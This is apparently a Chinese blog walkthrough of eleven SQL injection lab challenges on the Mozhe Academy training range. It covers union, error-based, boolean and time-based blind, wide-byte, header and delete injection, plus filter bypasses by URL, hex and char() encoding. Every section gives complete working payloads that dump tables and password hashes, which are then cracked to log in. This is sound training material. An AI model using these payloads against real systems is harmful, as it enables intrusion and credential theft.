墨者学院在线靶场--WEB安全--SQL注入

目录

SQL手工注入漏洞测试(MySQL数据库)

SQL手工注入漏洞测试(MySQL数据库-字符型)

X-Forwarded-For注入漏洞实战

SQL注入漏洞测试(布尔盲注)

SQL注入漏洞测试(报错盲注)

SQL注入漏洞测试(宽字节)

SQL注入漏洞测试(时间盲注)

SQL过滤字符后手工注入漏洞测试(第3题)

SQL过滤字符后手工注入漏洞测试(第2题)

SQL注入漏洞测试(delete注入)

SQL过滤字符后手工注入漏洞测试(第1题)


SQL手工注入漏洞测试(MySQL数据库)

进入链接,再点击超级链接,推测url中可能存在SQL注入。

 

注入'1和"1查看是否为字符型注入(页面空白,证明不是),再注入1/1和1/0查看是否为数字型注入,页面有显示,证明是数字型注入。

注入order by n,n取1-5,发现1-4都有显示,证明有4个字段。

注入-1 union select 1,2,3,4判断回显位置。注意:-1是错误信息,用于确定回显。1,2,3,4是位置。

根据回显确定位置在2和3,注入-1 union select 1,database(),user(),4回显出数据库和用户。

根据回显知道数据库为:mozhe_Discuz_StormGroup,用户为:root@localhost。
注入-1 union select 1,database(),(select group_concat(table_name) from information_schema.tables where table_schema='mozhe_Discuz_StormGroup'),4回显。
回显出mozhe_Discuz_StormGroup数据库中的表。group_concat(list):连接字符函数。

回显中表为:StormGroup_member和notice。
注入-1 union select 1,database(),(select group_concat(column_name) from information_schema.columns where table_name='StormGroup_member'),4回显。
回显出StormGroup_member表中的列。

回显中列为:id、name、password、status。
注入-1 union select 1,database(),(select group_concat(name) from StormGroup_member),4回显出StormGroup_member数据库中用户名字。

回显结果为两个用户:mozhe和mozhe。
注入-1 union select 1,database(),(select group_concat(password) from StormGroup_member),4回显出StormGroup_member数据库中用户的密码。

回显结果是经过MD5加密后的字符,使用 https://www.somd5.com/ 解密。

注入-1 union select 1,database(),(select group_concat(status) from StormGroup_member),4回显判断用户状态。

根据回显确定第二个用户账号可用,使用用户名:mozhe,密码:573948登录,得到key。

SQL手工注入漏洞测试(MySQL数据库-字符型)

进入链接,打开超级链接,判断可能存在SQL注入。

 

注入单引号出现报错,判断为单引号字符型。

注入tingjigonggao'order by n--+回显报错推测出字段,n取1-5。注意:--+表示注释。

根据回显报错可以推出字段为4个。
注入'union select 1,2,3,4--+判断回显位置(这里是2和3)。

注入'union select 1,database(),user(),4--+回显出数据库和用户。

回显数据库为:mozhe_discuz_stormgroup,用户为:root@localhost。
注入'union select 1,database(),(select group_concat(table_name) from information_schema.tables where table_schema='mozhe_discuz_stormgroup'),4--+回显。
回显出mozhe_discuz_stormgroup数据库中的表。

回显的列为:id、name、password、status。
注入'union select 1,database(),(select group_concat(name) from stormgroup_member),4--+回显。
回显出stormgroup_member表中的用户名。

回显用户名为mozhe和mozhe。
注入'union select 1,database(),(select group_concat(password) from stormgroup_member),4--+回显。
回显出stormgroup_member表中的密码。

回显密码是经过MD5加密。
注入'union select 1,database(),(select group_concat(status) from stormgroup_member),4--+回显。
回显出stormgroup_member表中的状态。

回显结果表明第二个用户可用。
使用 https://www.somd5.com/ 进行解密,再进行登录得到key。

X-Forwarded-For注入漏洞实战

进入链接输入任意用户名和密码并使用Burp Suite.vbs进行抓包,再将数据包发送出,发现有个回显地址。

将X-Forwarded-For Header中IP地址设置为127.0.0.1再进行抓包并发送,发现回显位置。

注入单引号发现报错,初步判断是单引号字符型。

注入'order by 1--+和'order by 1--和'order by 1#发现无法做到注释效果,断定为报错型。
注入'and updatexml(1,concat(0x7e,database(),0x7e),1)='回显出数据库为webcalendar。
注意:0x7e表示~符用于区分字符。末尾=起注释闭合作用。

注入'and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='webcalendar'),0x7e),1)='回显。
回显出webcalendar数据库中的表为:logins和user。

注入'and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='user'),0x7e),1)='回显。
回显出user表中的列为:id、username、password。

注入'and updatexml(1,concat(0x7e,(select group_concat(username) from user),0x7e),1)='回显。
回显出用户名为:admin。

注入'and updatexml(1,concat(0x7e,(select group_concat(password) from user),0x7e),1)='回显。
回显出密码为:145916330。

登录后得到key。

SQL注入漏洞测试(布尔盲注)

通过超级链接进入通知页面,根据url推测是SQL注入。

注入1/1、1/0、单引号、双引号判断注入类型。
1/0和引号都没有回显,则判断是布尔盲注(通过页面返回是否正常来判断if是否成立)。

注入1/if((length(database())=n),1,0)判断数据库长度,n为长度。使用Burp Suite.vbs抓包爆破出数据库长度。

 

根据爆破结果知道数据库长度为10,。
注入1/if((mid(database(),n,1)='c'),1,0)再进行爆破推出数据库名。n取1-10,c取a-z和下划线。

 

根据爆破出的结果知道数据库为:stormgroup。
注入1/if((length((select group_concat(table_name) from information_schema.tables where table_schema='stormgroup'))=n),1,0)爆破stormgroup中表的长度。

 ​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​

判断出表长度为13,其中可能含有多个表,在字符爆破时加上,防止爆破出错。
注入1/if((mid((select group_concat(table_name) from information_schema.tables where table_schema='stormgroup'),n,1)='c'),1,0)爆破出表名。

 

爆破得出表为member,notice。
注入1/if((length((select group_concat(column_name) from information_schema.columns where table_name='member'))=n),1,0)爆破出member中列长度。

 

得出结果列长为20。
注入1/if((mid((select group_concat(column_name) from information_schema.columns where table_name='member'),n,1)='c'),1,0)爆破出所有列名。

 

得到member表中的列名为:name,password,status。
注入1/if((length((select group_concat(name) from member))=n),1,0)爆破出用户名长度。

 

确定用户名总长度为11.
注入1/if((mid((select group_concat(name) from member),n,1)='c'),1,0)爆破出所有用户名。

 

得到两个用户名都为mozhe。
注入1/if((length((select group_concat(password) from member))=n),1,0)爆破出密码长度。

 

得到密码总长度为65。注意:密码正则里面要包括数字。
注入1/if((mid((select group_concat(password) from member),n,1)='c'),1,0)爆破出密码。

 

得到两个密码(经过MD5加密)为:3114b433dece9180717f2b7de56b28a3,e6dbe64bd25c242a67f55428d8fd4105。
https://www.somd5.com/ 进行MD5解密,再通过mozhe账户登录(第二个为正确密码)得到key。

 

SQL注入漏洞测试(报错盲注)

进入链接打开超级链接。

注入单引号、双引号、1/1和1/0,当单引号注入时报错,且报错内容中有路径,则可以推测是报错注入。

注入'and updatexml(1,concat(0x7e,database(),0x7e),1)='回显数据库(stormgroup)。

注入'and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='stormgroup'),0x7e),1)='回显。
根据回显得到表member和notice。

注入'and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='member'),0x7e),1)='回显。
回显得到member表的列。

注入'and updatexml(1,concat(0x7e,(select group_concat(name) from member),0x7e),1)='回显得到表的用户名mozhe和mozhe。

由于updatexml只能显示32位,所以要使用mid进行截取。
注入'and updatexml(1,concat(0x7e,mid((select group_concat(password) from member),1,32),0x7e),1)='回显得到密码1-32位。

注入'and updatexml(1,concat(0x7e,(mid((select group_concat(password) from member),33,64)),0x7e),1)='回显得到密码33-64位。

注入'and updatexml(1,concat(0x7e,(mid((select group_concat(password) from member),65,65)),0x7e),1)='回显得到密码最后一位。

得到密码为:3114b433dece9180717f2b7de56b28a,61220e81990b58f97073866ae183ab9。
密码经过MD5加密,https://www.somd5.com/ 进行解密再登录得到key(第二位正确的)。

 

SQL注入漏洞测试(宽字节)

进入链接点击超级链接,注入单引号、双引号、1/0和1/1都没有回显。

使用Burp Suite.vbs进行抓包,注入%df'发现是宽字节型报错注入(解题方法是规避引号)。

注入%df'and updatexml(1,concat(0x7e,database(),0x7e),1)--+回显得到数据库mozhe_discuz_stormgroup。

注入%df'and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database() ),0x7e),1)--+回显数据库中的表notice和stormgroup_member。

方法一:select嵌套mid截取法。
注入%df'and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name= mid((select group_concat(table_name) from information_schema.tables where table_schema=database() ),8,24)),0x7e),1)--+回显stormgroup_member表中字段为name、password、status。

注入%df'and updatexml(1,concat(0x7e,(select group_concat(name) from stormgroup_member),0x7e),1)--+回显所有用户名为mozhe和mozhe。

注入%df'and updatexml(1,concat(0x7e,mid((select group_concat(password) from stormgroup_member),1,32),0x7e),1)--+回显出密码1-32位。

注入%df'and updatexml(1,concat(0x7e,mid((select group_concat(password) from stormgroup_member),33,64),0x7e),1)--+回显出密码33-64位。

注入%df'and updatexml(1,concat(0x7e,mid((select group_concat(password) from stormgroup_member),65,65),0x7e),1)--+回显出密码最后一位。

得到密码为3114b433dece9180717f2b7de56b28a和4707ebec1e24be7030e9a326508431e,https://www.somd5.com/ MD5解密再登录(第二个密码)得到key。

 

方法二:select嵌套limit指定法。
注入%df'and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=(select table_name from information_schema.tables where table_schema=database() limit 1,1)),0x7e),1)--+回显stormgroup_member表中字段为name、password、status。

后面步骤与方法一相同。
方法三:编码隐藏法。
使用 http://www.atoolbox.net/Tool.php?Id=930 将数据库mozhe_discuz_stormgroup进行base16编码来规避引号。

注入%df'and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=0x6d6f7a68655f64697363757a5f73746f726d67726f7570),0x7e),1)--+回显数据库中的表。

再使用 http://www.atoolbox.net/Tool.php?Id=930 将表stormgroup_member进行base16编码。

 注入%df'and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=0x73746F726D67726F75705F6D656D626572),0x7e),1)--+回显stormgroup_member表中列。

此后操作与方法一相同。
方法四:char字符拼接法。
使用脚本将数据库mozhe_discuz_stormgroup转换成ASCII码从而达到规避效果。

注入%df'and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=char(109,111,122,104,101,95,100,105,115,99,117,122,95,115,116,111,114,109,103,114,111,117,112)),0x7e),1)--+回显数据库中的表。

再使用脚本将表stormgroup_member转换成ASCII码并注入%df'and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=char(115,116,111,114,109,103,114,111,117,112,95,109,101,109,98,101,114)),0x7e),1)--+回显stormgroup_member表中列。

后面步骤与方法一相同。

SQL注入漏洞测试(时间盲注)

打开链接并点击超级链接进入到页面提示。

根据提示可以确定GET传入,注入?type=x,x取1/1、1/0,、单引号,当x为单引号时页面有变化。初步判定为字符型注入。

注入?type=1'和?type=2'判断回显位置。

注入?type=database()'回显数据库为pentesterlab。

注入?type=(select group_concat(table_name) from information_schema.tables where table_schema='pentesterlab')--+回显出数据库中的表有comment、flag、goods、user。

注入?type=(select flag from flag)--+回显出flag。

在登录页面输入flag得到key。

根据题目题意,确定是个时间盲注,则不通过回显信息来进行时间盲注。方法:使用if和sleep来爆破,通过页面响应时间差来判断盲注。
先使用Burp Suite.vbs进行抓包,注入?type=if(length(database())=n,sleep(3),0)--+爆破出数据库长度为12。

 

注意:查看时间差需要打开response received。

注入?type=if((mid(database(),n,1)='c'),sleep(3),0)--+爆破出数据库名为pentesterlab。

 

注入?type=if((length((select group_concat(table_name) from information_schema.tables where table_schema='pentesterlab'))=n),sleep(3),0)--+回显爆破出表的总长度。

 

注入?type=if((mid((select group_concat(table_name) from information_schema.tables where table_schema='pentesterlab'),n,1)='c'),sleep(3),0)--+回显爆破出表有comment、flag、goods、user。

 

注入?type=if((length((select flag from flag))=n),sleep(3),0)--+回显爆破出flag表下的flag的长度。

 

注入?type=if((mid((select flag from flag),n,1)='c'),sleep(3),0)--+回显爆破出flag,之后步骤与上面方法一致。

 

SQL过滤字符后手工注入漏洞测试(第3题)

打开链接并点击超级链接。注入引号、1/1和1/0,当注入1/1和1/0时页面没变化,注入引号时报错,得出是报错注入。

注入'and updatexml(1,concat(0x7e,database(),0x7e),1)--+回显出数据库min_ju4t_mel1i。

注入'and updatexml(1,concat(0x7e,mid((select group_concat(table_name) from information_schema.tables where table_schema='min_ju4t_mel1i'),1,31),0x7e),1)--+回显得到总表长前部分。

注入'and updatexml(1,concat(0x7e,mid((select group_concat(table_name) from information_schema.tables where table_schema='min_ju4t_mel1i'),32,63),0x7e),1)--+回显得到总表长后部分,合并得到表:(@dmin9_td4b}、notice、stormgroup_member、tdb_goods。

注入'and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='(@dmin9_td4b}'),0x7e),1)--+回显(@dmin9_td4b}表的列有id、username、password、status。

注入'and updatexml(1,concat(0x7e,(mid((select group_concat(username) from `(@dmin9_td4b}`),1,31)),0x7e),1)--+回显出前部分用户名。

注入'and updatexml(1,concat(0x7e,(mid((select group_concat(username) from `(@dmin9_td4b}`),32,63)),0x7e),1)--+回显出后部分用户名,合并为mozhe1、mozhe、mozhe2、mozhe4、mozhe3。

注入'and updatexml(1,concat(0x7e,(mid((select group_concat(password) from `(@dmin9_td4b}`),1,31)),0x7e),1)--+回显部分密码。
注意:由于表名是个变量且存在括号闭合问题,则通过反引号进行规避。

注入'and updatexml(1,concat(0x7e,(mid((select group_concat(password) from `(@dmin9_td4b}`),32,63)),0x7e),1)--+回显部分密码。

注入'and updatexml(1,concat(0x7e,(mid((select group_concat(password) from `(@dmin9_td4b}`),64,95)),0x7e),1)--+回显部分密码。

注入'and updatexml(1,concat(0x7e,(mid((select group_concat(password) from `(@dmin9_td4b}`),96,127)),0x7e),1)--+回显部分密码。

注入'and updatexml(1,concat(0x7e,(mid((select group_concat(password) from `(@dmin9_td4b}`),128,159)),0x7e),1)--+回显部分密码。

注入'and updatexml(1,concat(0x7e,(mid((select group_concat(password) from `(@dmin9_td4b}`),160,191)),0x7e),1)--+回显部分密码。

注入'and updatexml(1,concat(0x7e,(select group_concat(status) from `(@dmin9_td4b}`),0x7e),1)--+回显用户状态(最后一个用户可用)。

将最后一个密码使用 https://www.somd5.com/ 进行MD5解密,并使用mozhe3账号登录得到key。

SQL过滤字符后手工注入漏洞测试(第2题)

进入链接并点击超级链接,注入引号、1/1和1/0。当注入引号时页面空白,注入1/1和1/0时页面显示,推测是数字注入。

 

注入1 order by 1时页面弹出提示(禁用某些字符和语句)。

经过测试注入order和by可以推断是空格禁用,使用+号代替空格进行规避。
注入1+order+by+n判断最多回显个数,n取1-5,n为1-4时页面正常,为5时不正常,确定回显最多为4。

注入测试union和select,发现两个都被禁用,使用url编码进行规避。
注入-1+%75nion+%73elect+1,2,3,4确定回显位置(这里是2和3)。

注入-1+%75nion+%73elect+1,database(),3,4回显出数据库mozhe_discuz_stormgroup。

测试注入from被禁用
注入-1+%75nion+%73elect+1,database(),(%73elect+group_concat(table_name)+%66rom+information_schema.tables+where+table_schema='mozhe_discuz_stormgroup'),4回显出表有notice、stormgroup_member。

注入-1+%75nion+%73elect+1,database(),(%73elect+group_concat(column_name)+%66rom+information_schema.columns+where+table_name='stormgroup_member'),4回显出stormgroup_member表的列:id、length、name、password、time、status。

注入-1+%75nion+%73elect+1,database(),(%73elect+group_concat(name)+%66rom+stormgroup_member),4回显出所有用户。

注入-1+%75nion+%73elect+1,database(),(%73elect+group_concat(password)+%66rom+stormgroup_member),4回显出所有密码。

注入-1+%75nion+%73elect+1,database(),(%73elect+group_concat(status)+%66rom+stormgroup_member),4回显出所有状态。

根据回显的状态,对第三组用户的密码进行MD5解密,并登录得到key。

SQL注入漏洞测试(delete注入)

进入链接,在留言板上写下内容,再进行删除,同时Burp Suite.vbs抓包。

注入引号、1/1和1/0,注入1/1和1/0页面正常,注入引号时出现报错,判断为数字型报错注入。
经过测试发现禁用空格,则使用+代替,注入1+and+updatexml(1,concat(0x7e,database(),0x7e),1)=1回显出数据库pikaqiu。

注入1+and+updatexml(1,concat(0x7e,(select+group_concat(table_name)+from+information_schema.tables+where+table_schema='pikaqiu'),0x7e),1)=1回显出表message。

注入1+and+updatexml(1,concat(0x7e,(select+group_concat(column_name)+from+information_schema.columns+where+table_name='message'),0x7e),1)=1回显出表的列为id、content、time、key。

注入1+and+updatexml(1,concat(0x7e,(mid((select+group_concat(`key`)+from+message),1,31)),0x7e),1)=1回显key前1-31位:mozhe337195220528d45295a5292f86。
注意:由于SQL中存在key(键)这个概念,在语句识别时默认是键,所有需要使用反引号进行转义。

注入1+and+updatexml(1,concat(0x7e,(mid((select+group_concat(`key`)+from+message),32,63)),0x7e),1)=1回显key最后一位。

SQL过滤字符后手工注入漏洞测试(第1题)

进入链接点击超级链接,注入引号、1/1和1/0,引号注入页面不存在,初步判断是数字型注入。

 

使用Burp Suite.vbs进行抓包,注入1 order by 1时发现页面报错,推测是禁用某些语句和字符。
注入order和by和%20分别测试出order、by、空格被禁用。

由于order、by、空格被禁用,则注入1+%6frder+%62y+n判断回显个数,(n取1-5)。n为1-4正常,为5报错,判断回显数最多为4个。

注意:%6f、%62对o、b进行url编码,可以绕过被禁用的语句,空格等价于+和/**/。
选中字符串右键选择可以进行url编码。

经过注入测试union、select被禁用,进行部分url编码后注入。
注入-1+%75nion+%73elect+1,2,3,4确定回显位置为2,3。

测试注入禁用了database(),注入-1+%75nion+%73elect+1,%64atabase(),3,4回显出数据库为mozhe_discuz_stormgroup。

注入测试from、information_schema.tables(由于多次测试不知道禁用位置,则将其全部进行url编码)、mozhe_discuz_stormgroup(与前面一样)被禁用。
注入-1+%75nion+%73elect+1,%64atabase(),(%73elect+group_concat(table_name)+%66rom+%69%6e%66%6f%72%6d%61%74%69%6f%6e%5f%73%63%68%65%6d%61%2e%74%61%62%6c%65%73+where+'%6d%6f%7a%68%65%5f%64%69%73%63%75%7a%5f%73%74%6f%72%6d%67%72%6f%75%70'),4回显出数据库的表notice和stormgroup_member。

测试注入已禁用infromation_schema.columns、stormgroup_member。
注入-1+%75nion+%73elect+1,%64atabase(),(%73elect+group_concat(column_name)+%66rom+%69%6e%66%6f%72%6d%61%74%69%6f%6e%5f%73%63%68%65%6d%61%2e%63%6f%6c%75%6d%6e%73+where+table_name='%73%74%6f%72%6d%67%72%6f%75%70%5f%6d%65%6d%62%65%72'),4回显出stormgroup_member表中的列id、name、password、status。

注入-1+%75nion+%73elect+1,%64atabase(),(%73elect+group_concat(name)+%66rom+%73%74%6f%72%6d%67%72%6f%75%70%5f%6d%65%6d%62%65%72),4回显出用户有mozhe、mozhe、admin。

测试注入禁用password,注入-1+%75nion+%73elect+1,%64atabase(),(%73elect+group_concat(%70%61%73%73%77%6f%72%64)+%66rom+%73%74%6f%72%6d%67%72%6f%75%70%5f%6d%65%6d%62%65%72),4回显得到三个MD5加密的密码。

注入-1+%75nion+%73elect+1,%64atabase(),(%73elect+group_concat(status)+%66rom+%73%74%6f%72%6d%67%72%6f%75%70%5f%6d%65%6d%62%65%72),4回显出状态为0、0、1,证明第三个用户可用。

https://www.somd5.com/ 对第三组密码解密再登录得到key。

  • 3
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值